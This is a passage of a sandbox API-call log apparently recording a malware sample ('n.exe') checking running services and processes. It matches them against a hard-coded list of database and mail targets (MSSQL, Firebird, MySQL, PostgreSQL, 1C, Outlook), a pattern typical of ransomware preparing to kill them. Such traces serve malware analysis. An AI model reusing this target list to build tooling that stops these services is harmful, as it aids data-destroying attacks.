(lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0170.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0170.092] lstrlenW (lpString="LanmanWorkstation") returned 17 [0170.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0170.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0170.092] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0170.092] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0170.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0170.092] lstrlenW (lpString="lmhosts") returned 7 [0170.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0170.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0170.093] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0170.093] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0170.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0170.093] lstrlenW (lpString="MMCSS") returned 5 [0170.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0170.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0170.093] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0170.093] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0170.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0170.093] lstrlenW (lpString="MpsSvc") returned 6 [0170.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0170.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0170.093] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0170.093] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0170.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0170.093] lstrlenW (lpString="Netman") returned 6 [0170.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0170.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0170.093] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0170.093] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0170.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0170.093] lstrlenW (lpString="netprofm") returned 8 [0170.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0170.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0170.093] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0170.093] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0170.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0170.093] lstrlenW (lpString="NlaSvc") returned 6 [0170.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0170.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0170.094] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0170.094] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0170.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0170.094] lstrlenW (lpString="nsi") returned 3 [0170.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0170.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0170.094] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0170.094] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0170.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0170.094] lstrlenW (lpString="PcaSvc") returned 6 [0170.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0170.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0170.094] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0170.094] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0170.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0170.094] lstrlenW (lpString="PlugPlay") returned 8 [0170.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0170.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0170.094] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0170.094] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0170.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0170.094] lstrlenW (lpString="Power") returned 5 [0170.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0170.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0170.094] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0170.094] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0170.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0170.095] lstrlenW (lpString="ProfSvc") returned 7 [0170.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0170.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0170.095] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0170.095] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0170.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0170.095] lstrlenW (lpString="RpcEptMapper") returned 12 [0170.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0170.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0170.095] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0170.095] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0170.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0170.095] lstrlenW (lpString="RpcSs") returned 5 [0170.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0170.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0170.095] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0170.095] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0170.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0170.095] lstrlenW (lpString="SamSs") returned 5 [0170.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0170.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0170.095] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0170.095] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0170.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0170.095] lstrlenW (lpString="Schedule") returned 8 [0170.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0170.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0170.095] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0170.095] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0170.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0170.096] lstrlenW (lpString="SENS") returned 4 [0170.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0170.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0170.096] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0170.096] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0170.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0170.096] lstrlenW (lpString="ShellHWDetection") returned 16 [0170.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0170.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0170.096] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0170.096] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0170.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0170.096] lstrlenW (lpString="Spooler") returned 7 [0170.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0170.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0170.096] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0170.096] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0170.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0170.096] lstrlenW (lpString="SysMain") returned 7 [0170.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0170.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0170.096] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0170.096] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0170.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0170.096] lstrlenW (lpString="Themes") returned 6 [0170.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0170.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0170.096] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0170.096] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0170.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0170.097] lstrlenW (lpString="TrkWks") returned 6 [0170.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0170.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0170.097] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0170.097] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0170.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0170.097] lstrlenW (lpString="UxSms") returned 5 [0170.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0170.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0170.097] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0170.097] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0170.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0170.097] lstrlenW (lpString="WdiServiceHost") returned 14 [0170.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0170.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0170.097] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0170.097] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0170.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0170.097] lstrlenW (lpString="WdiSystemHost") returned 13 [0170.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0170.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0170.097] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0170.097] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0170.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0170.097] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0170.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0170.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0170.097] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0170.097] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0170.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0170.098] lstrlenW (lpString="Winmgmt") returned 7 [0170.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0170.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0170.098] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0170.098] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0170.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0170.098] lstrlenW (lpString="WPDBusEnum") returned 10 [0170.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0170.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0170.098] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0170.098] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0170.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0170.098] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x724190 | out: hHeap=0x630000) returned 1 [0170.098] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x320 [0170.100] Process32FirstW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.100] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0170.100] lstrlenW (lpString="System") returned 6 [0170.100] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0170.100] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0170.100] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0170.100] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0170.101] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0170.101] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0170.101] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0170.101] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0170.101] lstrlenW (lpString="smss.exe") returned 8 [0170.101] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0170.101] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0170.101] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0170.101] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0170.101] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0170.101] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0170.101] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0170.101] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0170.101] lstrlenW (lpString="csrss.exe") returned 9 [0170.101] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0170.102] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0170.102] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0170.102] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0170.102] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0170.102] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0170.102] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0170.102] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0170.102] lstrlenW (lpString="wininit.exe") returned 11 [0170.102] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0170.102] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0170.102] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0170.102] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0170.102] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0170.102] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0170.102] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0170.102] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0170.103] lstrlenW (lpString="csrss.exe") returned 9 [0170.103] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0170.103] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0170.103] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0170.103] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0170.103] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0170.103] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0170.103] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0170.103] lstrlenW (lpString="winlogon.exe") returned 12 [0170.103] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0170.104] lstrlenW (lpString="services.exe") returned 12 [0170.104] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0170.104] lstrlenW (lpString="lsass.exe") returned 9 [0170.104] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0170.105] lstrlenW (lpString="lsm.exe") returned 7 [0170.105] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.105] lstrlenW (lpString="svchost.exe") returned 11 [0170.105] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.105] lstrlenW (lpString="svchost.exe") returned 11 [0170.105] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.106] lstrlenW (lpString="svchost.exe") returned 11 [0170.106] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.106] lstrlenW (lpString="svchost.exe") returned 11 [0170.106] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.107] lstrlenW (lpString="svchost.exe") returned 11 [0170.107] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0170.107] lstrlenW (lpString="audiodg.exe") returned 11 [0170.107] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.107] lstrlenW (lpString="svchost.exe") returned 11 [0170.107] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0170.108] lstrlenW (lpString="explorer.exe") returned 12 [0170.108] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0170.108] lstrlenW (lpString="dwm.exe") returned 7 [0170.108] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.109] lstrlenW (lpString="svchost.exe") returned 11 [0170.109] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0170.109] lstrlenW (lpString="n.exe") returned 5 [0170.109] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0170.109] lstrlenW (lpString="spoolsv.exe") returned 11 [0170.109] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.110] lstrlenW (lpString="svchost.exe") returned 11 [0170.110] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0170.110] lstrlenW (lpString="taskhost.exe") returned 12 [0170.110] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0170.110] lstrlenW (lpString="reader_sl.exe") returned 13 [0170.111] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0170.111] lstrlenW (lpString="n.exe") returned 5 [0170.111] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0170.111] lstrlenW (lpString="n.exe") returned 5 [0170.111] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0170.112] CloseHandle 